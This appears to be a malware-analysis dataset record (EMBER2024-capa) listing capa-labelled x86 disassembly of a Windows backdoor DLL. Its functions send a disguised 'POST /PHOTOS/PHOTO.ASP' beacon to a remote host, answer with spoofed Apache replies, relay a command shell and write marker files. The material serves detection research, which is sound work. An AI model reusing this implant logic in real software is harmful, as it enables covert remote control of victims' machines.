joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001180
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x30]
cmp dword [eax + 0x10c], 0
jne 0x100011a6
xor eax, eax
jmp 0x100012d3
mov dword [ebp - 0x10], 1
lea ecx, [ebp - 0x10]
push ecx
push 0x8004667e
mov edx, dword [ebp - 0x30]
mov eax, dword [edx + 0x10c]
push eax
call dword [sym.imp.WS2_32.dll_ioctlsocket]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xc], 0x10
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 0x2c]
push edx
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax + 0x10c]
push ecx
call dword [sym.imp.WS2_32.dll_accept]
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], 0
lea edx, [ebp - 0x10]
push edx
push 0x8004667e
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax + 0x10c]
push ecx
call dword [sym.imp.WS2_32.dll_ioctlsocket]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x1000121b
xor eax, eax
jmp 0x100012d3
mov dword [ebp - 0x10], 0
lea edx, [ebp - 0x10]
push edx
push 0x8004667e
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.WS2_32.dll_ioctlsocket]
mov dword [ebp - 0x18], eax
mov ecx, 1
mov word [ebp - 0x14], cx
xor edx, edx
mov word [ebp - 0x12], dx
push 4
lea eax, [ebp - 0x14]
push eax
push 0x80
push 0xffff
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
mov dword [ebp - 4], 0x7530
push 4
lea edx, [ebp - 4]
push edx
push 0x1006
push 0xffff
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
je 0x10001296
mov ecx, dword [ebp - 8]
push ecx
mov ecx, dword [ebp - 0x30]
call fcn.100018f0
xor eax, eax
jmp 0x100012d3
push 4
lea edx, [ebp - 4]
push edx
push 0x1005
push 0xffff
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
je 0x100012c4
mov ecx, dword [ebp - 8]
push ecx
mov ecx, dword [ebp - 0x30]
call fcn.100018f0
xor eax, eax
jmp 0x100012d3
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 8]
mov dword [edx + 0x108], eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1000415e
mov esp, ebp
pop ebp
ret
Function at 0x10001320
Capabilities:
Connect socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x10001344
xor eax, eax
jmp 0x10001416
mov ecx, dword [ebp - 0x24]
call fcn.100016a0
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1000135c
xor eax, eax
jmp 0x10001416
push 0xd6d8
push 0xc350
mov edx, dword [ebp - 4]
push edx
mov ecx, dword [ebp - 0x24]
call fcn.10001770
test eax, eax
jge 0x1000137d
xor eax, eax
jmp 0x10001416
mov eax, 2
mov word [ebp - 0x1c], ax
mov ecx, dword [ebp + 8]
push ecx
call fcn.10005e40
add esp, 4
mov dword [ebp - 0x18], eax
movzx edx, word [ebp + 0xc]
push edx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1a], ax
push 0x10
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x100013de
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x2740
jne 0x100013da
jmp 0x10001344
xor eax, eax
jmp 0x10001416
mov eax, 1
mov word [ebp - 8], ax
xor ecx, ecx
mov word [ebp - 6], cx
push 4
lea edx, [ebp - 8]
push edx
push 0x80
push 0xffff
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 4]
mov dword [ecx + 0x108], edx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.1000415e
mov esp, ebp
pop ebp
ret 8

Function at 0x10001430
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
je 0x100014a0
push 0
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 0x108]
push edx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x1000148c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x274c
jne 0x10001487
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10001445
or eax, 0xffffffff
jmp 0x100014a5
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 4]
mov dword [ebp - 0xc], ecx
jmp 0x10001445
mov eax, 1
mov esp, ebp
pop ebp
ret 8
Function at 0x100014b0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
je 0x1000151a
push 0
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 0x108]
push edx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x100014f2
xor eax, eax
jmp 0x1000151f
cmp dword [ebp - 4], 0
jne 0x10001506
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp - 0x10], eax
or eax, 0xffffffff
jmp 0x1000151f
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 4]
mov dword [ebp - 0xc], ecx
jmp 0x100014c5
mov eax, 1
mov esp, ebp
pop ebp
ret 8

Function at 0x10001530
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov dword [ebp - 0x118], ecx
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x114], 0
jmp 0x10001564
mov eax, dword [ebp - 0x114]
add eax, 1
mov dword [ebp - 0x114], eax
mov ecx, dword [ebp - 0x114]
cmp ecx, dword [ebp - 0x110]
jae 0x10001591
mov edx, dword [ebp - 0x114]
mov eax, dword [ebp - 0x118]
mov ecx, dword [ebp + edx*4 - 0x10c]
cmp ecx, dword [eax + 0x108]
jne 0x1000158f
jmp 0x10001591
jmp 0x10001555
mov edx, dword [ebp - 0x114]
cmp edx, dword [ebp - 0x110]
jne 0x100015d0
cmp dword [ebp - 0x110], 0x40
jae 0x100015d0
mov eax, dword [ebp - 0x114]
mov ecx, dword [ebp - 0x118]
mov edx, dword [ecx + 0x108]
mov dword [ebp + eax*4 - 0x10c], edx
mov eax, dword [ebp - 0x110]
add eax, 1
mov dword [ebp - 0x110], eax
xor ecx, ecx
jne 0x10001549
mov dword [ebp - 8], 0
mov edx, dword [ebp + 8]
imul edx, edx, 0x3e8
mov dword [ebp - 4], edx
lea eax, [ebp - 8]
push eax
push 0
push 0
lea ecx, [ebp - 0x110]
push ecx
mov edx, dword [ebp - 0x118]
mov eax, dword [edx + 0x108]
add eax, 1
push eax
call dword [sym.imp.WS2_32.dll_select]
mov esp, ebp
pop ebp
ret 4
Function at 0x100016a0
Capabilities:
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jge 0x100016c5
xor eax, eax
jmp 0x10001767
push 3
push 0
push 0
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov dword [ebp - 4], 1
push 4
lea edx, [ebp - 4]
push edx
push 4
push 0xffff
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
mov dword [ebp - 4], 0x7530
push 4
lea ecx, [ebp - 4]
push ecx
push 0x1006
push 0xffff
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
je 0x10001738
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10001767
push 4
lea ecx, [ebp - 4]
push ecx
push 0x1005
push 0xffff
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
je 0x10001764
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10001767
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x10001770
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 4], 0
push 4
lea eax, [ebp - 4]
push eax
push 4
push 0xffff
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
mov edx, dword [ebp + 0xc]
cmp edx, dword [ebp + 0x10]
jne 0x10001803
push 0x10
push 0
lea eax, [ebp - 0x18]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov ecx, 2
mov word [ebp - 0x18], cx
movzx edx, word [ebp + 0xc]
push edx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x16], ax
push 0
call dword [sym.imp.WS2_32.dll_htonl]
mov dword [ebp - 0x14], eax
push 0x10
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_bind]
test eax, eax
jl 0x100017fe
mov dword [ebp - 0x1c], 1
jmp 0x100018b3
jmp 0x1000180e
mov edx, dword [ebp + 0xc]
add edx, 1
mov dword [ebp + 0xc], edx
mov eax, dword [ebp + 0xc]
cmp eax, dword [ebp + 0x10]
jg 0x100018b3
lea ecx, [ebp - 0x30]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
movzx edx, word [ebp - 0x22]
push edx
call dword [sym.imp.msvcrt.dll_srand]
add esp, 4
call dword [sym.imp.msvcrt.dll_rand]
push eax
call dword [sym.imp.msvcrt.dll_srand]
add esp, 4
call dword [sym.imp.msvcrt.dll_rand]
mov ecx, dword [ebp + 0x10]
sub ecx, dword [ebp + 0xc]
sub ecx, 1
cdq
idiv ecx
mov eax, dword [ebp + 0xc]
lea ecx, [edx + eax + 1]
mov dword [ebp - 0x20], ecx
push 0x10
push 0
lea edx, [ebp - 0x18]
push edx
call sub.msvcrt.dll_memset
add esp, 0xc
mov eax, 2
mov word [ebp - 0x18], ax
movzx ecx, word [ebp - 0x20]
push ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x16], ax
push 0
call dword [sym.imp.WS2_32.dll_htonl]
mov dword [ebp - 0x14], eax
push 0x10
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_bind]
test eax, eax
jl 0x100018ae
mov dword [ebp - 0x1c], 1
jmp 0x100018b3
jmp 0x10001805
mov dword [ebp - 4], 1
push 4
lea ecx, [ebp - 4]
push ecx
push 4
push 0xffff
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_setsockopt]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1000415e
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10001a30
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
mov dword [ebp - 0x410], ecx
mov byte [ebp - 0x409], 0
mov ecx, dword [ebp - 0x410]
call fcn.100012f0
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10001a6c
xor eax, eax
jmp 0x10001b91
mov eax, dword [ebp - 0x410]
mov ecx, dword [eax + 0x104]
push ecx
mov edx, dword [ebp - 0x410]
add edx, 4
push edx
push str.POST__PHOTOS_PHOTO.ASP_HTTP_1.1_r_nHOST:__s:_d_r_nUser_Agent:_Mozilla_4.0_r_nProxy_Connection:_Keep_Alive_r_nPragma:_no_cache_r_n_r_n
push 0x400
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.msvcrt.dll__snprintf]
add esp, 0x14
push 0
lea ecx, [ebp - 0x408]
push ecx
call sub.msvcrt.dll_strlen
add esp, 4
push eax
lea edx, [ebp - 0x408]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WS2_32.dll_send]
mov esi, eax
lea ecx, [ebp - 0x408]
push ecx
call sub.msvcrt.dll_strlen
add esp, 4
cmp esi, eax
je 0x10001aeb
mov edx, dword [ebp - 4]
push edx
mov ecx, dword [ebp - 0x410]
call fcn.100018f0
xor eax, eax
jmp 0x10001b91
push 0
push 0x400
lea eax, [ebp - 0x408]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x10001b1a
mov edx, dword [ebp - 4]
push edx
mov ecx, dword [ebp - 0x410]
call fcn.100018f0
xor eax, eax
jmp 0x10001b91
mov byte [ebp - 9], 0
push str.HTTP_1.0_200
call sub.msvcrt.dll_strlen
add esp, 4
push eax
push str.HTTP_1.0_200
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.msvcrt.dll_strncmp]
add esp, 0xc
test eax, eax
je 0x10001b7f
push str.HTTP_1.1_200
call sub.msvcrt.dll_strlen
add esp, 4
push eax
push str.HTTP_1.1_200
lea ecx, [ebp - 0x408]
push ecx
call dword [sym.imp.msvcrt.dll_strncmp]
add esp, 0xc
test eax, eax
je 0x10001b7f
mov edx, dword [ebp - 4]
push edx
mov ecx, dword [ebp - 0x410]
call fcn.100018f0
xor eax, eax
jmp 0x10001b91
mov eax, dword [ebp - 0x410]
mov ecx, dword [ebp - 4]
mov dword [eax + 0x108], ecx
mov eax, dword [ebp - 4]
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1000415e
mov esp, ebp
pop ebp
ret
Function at 0x10001ba0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov dword [ebp - 0x410], ecx
mov ecx, dword [ebp - 0x410]
call fcn.10001180
mov dword [ebp - 0x40c], eax
cmp dword [ebp - 0x40c], 0
jne 0x10001bdb
xor eax, eax
jmp 0x10001d14
push 0
push 0x400
lea eax, [ebp - 0x408]
push eax
mov ecx, dword [ebp - 0x40c]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x10001c13
mov edx, dword [ebp - 0x40c]
push edx
mov ecx, dword [ebp - 0x410]
call fcn.100018f0
xor eax, eax
jmp 0x10001d14
mov byte [ebp - 9], 0
push str.POST__PHOTOS_PHOTO.ASP_HTTP_1.1_r_n
call sub.msvcrt.dll_strlen
add esp, 4
push eax
push str.POST__PHOTOS_PHOTO.ASP_HTTP_1.1_r_n
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.msvcrt.dll_strncmp]
add esp, 0xc
test eax, eax
je 0x10001ca3
push str.HTTP_1.0_400__Bad_Request_r_nServer:_Apache_2.2.3__Red_Hat__r_nConnection:_close_r_n_r_n
push 0x400
lea ecx, [ebp - 0x408]
push ecx
call dword [sym.imp.msvcrt.dll__snprintf]
add esp, 0xc
push 0
lea edx, [ebp - 0x408]
push edx
call sub.msvcrt.dll_strlen
add esp, 4
push eax
lea eax, [ebp - 0x408]
push eax
mov ecx, dword [ebp - 0x40c]
push ecx
call dword [sym.imp.WS2_32.dll_send]
lea edx, [ebp - 0x408]
push edx
call sub.msvcrt.dll_strlen
add esp, 4
mov eax, dword [ebp - 0x40c]
push eax
mov ecx, dword [ebp - 0x410]
call fcn.100018f0
xor eax, eax
jmp 0x10001d14
push str.HTTP_1.0_200_r_nServer:_Apache_2.2.3__Red_Hat__r_nETag:__273ce6_b29f_90d618c0__r_nAccept_Ranges:_bytes_r_nContent_Type:_text_html_r_nProxy_Connection:_keep_alive_r_n_r_n
push 0x400
lea ecx, [ebp - 0x408]
push ecx
call dword [sym.imp.msvcrt.dll__snprintf]
add esp, 0xc
push 0
lea edx, [ebp - 0x408]
push edx
call sub.msvcrt.dll_strlen
add esp, 4
push eax
lea eax, [ebp - 0x408]
push eax
mov ecx, dword [ebp - 0x40c]
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov esi, eax
lea edx, [ebp - 0x408]
push edx
call sub.msvcrt.dll_strlen
add esp, 4
cmp esi, eax
je 0x10001d0e
mov eax, dword [ebp - 0x40c]
push eax
mov ecx, dword [ebp - 0x410]
call fcn.100018f0
xor eax, eax
jmp 0x10001d14
mov eax, dword [ebp - 0x40c]
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000415e
mov esp, ebp
pop ebp
ret

Function at 0x100021a0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov dword [eax], vtable.PCC_FILE.0
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x24], 0
mov edx, dword [ebp - 4]
mov dword [edx + 0x28], 0
mov eax, dword [ebp - 4]
add eax, 0xc
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push bind
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov ecx, dword [ebp - 4]
mov dword [ecx + 8], eax
mov edx, dword [ebp - 4]
mov dword [edx + 4], 0
mov eax, dword [ebp - 4]
add eax, 0x2c
push eax
push 0
mov ecx, dword [ebp - 4]
push ecx
push 0x10002890
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x10002220
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
mov dword [eax], vtable.PCC_FILE.0
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 0x2c]
push edx
push 0
push 0x1f03ff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov dword [ebp - 4], eax
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x10]
cmp dword [edx + 0x24], 0
je 0x10002298
mov eax, dword [ebp - 0x10]
cmp dword [eax + 0x24], 0
je 0x10002298
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 0x24]
mov eax, dword [edx + 0x10]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 0x24]
push edx
call dword [sym.imp.msvcrt.dll_free]
add esp, 4
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 8]
mov dword [eax + 0x24], ecx
jmp 0x10002268
mov edx, dword [ebp - 0x10]
cmp dword [edx + 0x28], 0
je 0x100022d1
mov eax, dword [ebp - 0x10]
cmp dword [eax + 0x28], 0
je 0x100022d1
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 0x28]
mov eax, dword [edx + 0x10]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 0x28]
push edx
call dword [sym.imp.msvcrt.dll_free]
add esp, 4
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword [eax + 0x28], ecx
jmp 0x100022a1
mov edx, dword [ebp - 0x10]
add edx, 0xc
push edx
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x10003800
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
mov dword [eax], vtable.PCC_CMD.0
push 0
lea ecx, [ebp - 4]
push ecx
push 5
push str.exit_n
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x3a98
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 8]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 8]
add edx, 0x11f
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esp, ebp
pop ebp
ret

Function at 0x100038e0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 8]
call fcn.10003890
movzx eax, al
test eax, eax
jne 0x100038fc
xor eax, eax
jmp 0x10003962
mov ecx, dword [ebp - 8]
call fcn.100039e0
test eax, eax
jne 0x1000390c
xor eax, eax
jmp 0x10003962
push 0x2800
call dword [sym.imp.msvcrt.dll_malloc]
add esp, 4
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
push 0
lea edx, [ebp - 4]
push edx
push 0x2800
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x10003955
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.msvcrt.dll_free]
add esp, 4
or eax, 0xffffffff
jmp 0x10003962
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
mov eax, 1
mov esp, ebp
pop ebp
ret 8
Function at 0x1000415e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x10004168
repz ret
jmp fcn.1000416d

Function at 0x100042d0
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x14], eax
push 0xff
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str._temp_
lea ecx, [ebp - 0x118]
push ecx
call sub.msvcrt.dll_strcat
add esp, 8
push str.DFTMP______.1
lea edx, [ebp - 0x118]
push edx
call sub.msvcrt.dll_strcat
add esp, 8
push 0
push 0x80
push 2
push 0
push 0
push 0x10000000
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0xffffffff
jne 0x1000434f
xor al, al
jmp 0x1000439d
mov dword [ebp - 8], 0xddeccdef
mov dword [ebp - 4], 0x5a497506
push 0
lea ecx, [ebp - 0x128]
push ecx
push 8
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1000438e
mov ecx, dword [ebp - 0x11c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x1000439d
mov edx, dword [ebp - 0x11c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1000415e
mov esp, ebp
pop ebp
ret

Function at 0x100043f0
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x14], eax
push 0xff
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x100082ac
lea ecx, [ebp - 0x118]
push ecx
call sub.msvcrt.dll_strcat
add esp, 8
push 0x100082b4
lea edx, [ebp - 0x118]
push edx
call sub.msvcrt.dll_strcat
add esp, 8
push 0
push 0x80
push 2
push 0
push 0
push 0x10000000
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0xffffffff
jne 0x1000446f
xor al, al
jmp 0x100044c3
mov dword [ebp - 8], 0xddeccdef
push 0
call fcn.100043b0
add esp, 4
mov dword [ebp - 4], eax
push 0
lea ecx, [ebp - 0x128]
push ecx
push 8
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x100044b4
mov ecx, dword [ebp - 0x11c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x100044c3
mov edx, dword [ebp - 0x11c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1000415e
mov esp, ebp
pop ebp
ret
Function at 0x10005380
Capabilities:
Acquire debug privileges
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x19c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x198]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 1
push 0x100082dc
call fcn.10005eb0
add esp, 8
push 1
push 0x100082f0
call fcn.10005eb0
add esp, 8
push 1
push 0x10008308
call fcn.10005eb0
add esp, 8
push 1
push 0x1000831c
call fcn.10005eb0
add esp, 8
push 1
push 0x1000832c
call fcn.10005eb0
add esp, 8
mov byte [0x1000a684], 0
lea ecx, [ebp - 0x19c]
push ecx
push 0
push 0
push 0x10004970
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x19c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000415e
mov esp, ebp
pop ebp
ret

Function at 0x10005430
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
call fcn.10005380
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x10004810
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x10005460
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
jmp 0x10005489
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x1a
jge 0x100054d8
mov ecx, dword [ebp - 8]
add ecx, 0x41
push ecx
push 0x100084c4
lea edx, [ebp - 0x34]
push edx
call dword [sym.imp.msvcrt.dll_sprintf]
add esp, 0xc
push 0
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
je 0x100054d6
mov edx, 1
mov ecx, dword [ebp - 8]
shl edx, cl
or edx, dword [ebp - 4]
mov dword [ebp - 4], edx
jmp 0x10005480
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1000415e
